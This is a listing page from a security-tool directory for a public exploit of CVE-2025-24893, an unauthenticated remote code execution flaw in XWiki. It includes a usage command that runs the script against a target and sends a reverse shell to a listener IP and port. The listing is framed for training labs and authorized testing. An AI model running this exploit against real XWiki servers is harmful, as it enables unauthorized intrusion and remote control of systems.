Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24893 — OSCP like CVE-2025-24893 exploit for Linux XWiki | Kitploit
Tools/GitHubGitHub/vasilysaint/cve-2025-24893
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolLabs & Practice
GitHubvasilysaint/cve-2025-24893

CVE-2025-24893

OSCP like CVE-2025-24893 exploit for Linux XWiki

View Repository
123 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24893

XWiki Platform is a generic wiki platform that provides runtime services for applications built on top of it. Due to a vulnerability in the SolrSearch endpoint, an unauthenticated user can achieve arbitrary remote code execution. This vulnerability affects the confidentiality, integrity, and availability of the entire XWiki installation.

CVE: CVE-2025-24893

Demo

A demonstration of the exploit is shown below:

Terminal Demo

Usage

To use this exploit, follow these steps:

  1. Clone the repository: git clone https://github.com/yourusername/CVE-2025-24893.git
  2. Navigate to the cloned directory: cd CVE-2025-24893
  3. Install the required dependencies: pip install requests
  4. Run the exploit:
root@kitploit:~
./CVE-2025-24893_linux-xwiki-exploit.py  -t http(s)://[target]:(port) -l [Listener IP] -p [Listener PORT] [-hp [Local HTTP PORT]]
Download Tool

About This Exploit

This exploit demonstrates the remote code execution vulnerability described in CVE-2025-24893 and allows an unauthenticated user to obtain a reverse shell on vulnerable Linux-based XWiki installations.

I originally developed this tool for use in training environments such as OSCP preparation labs and Hack The Box, where I wanted a simple and reliable way to reproduce the vulnerability. Since no existing tool met my requirements, I decided to create one.

Although CVE-2025-24893 has long since been patched in supported XWiki releases, this exploit should only be used against systems that you own or are explicitly authorized to test.

The author assumes no responsibility for any misuse of this software or for any damage resulting from its use.

Disclaimer

This tool is intended for educational purposes and authorized security assessments only.

Use it only against systems that you own or are explicitly authorized to test. The author assumes no liability for any misuse of this software or for any damages resulting from its use.

Contributing

Contributions are welcome.

If you encounter bugs, have suggestions for improvements, or would like to add support for additional payloads, platforms, or features, feel free to open an issue or submit a pull request.

Constructive feedback, testing reports, and code contributions are greatly appreciated.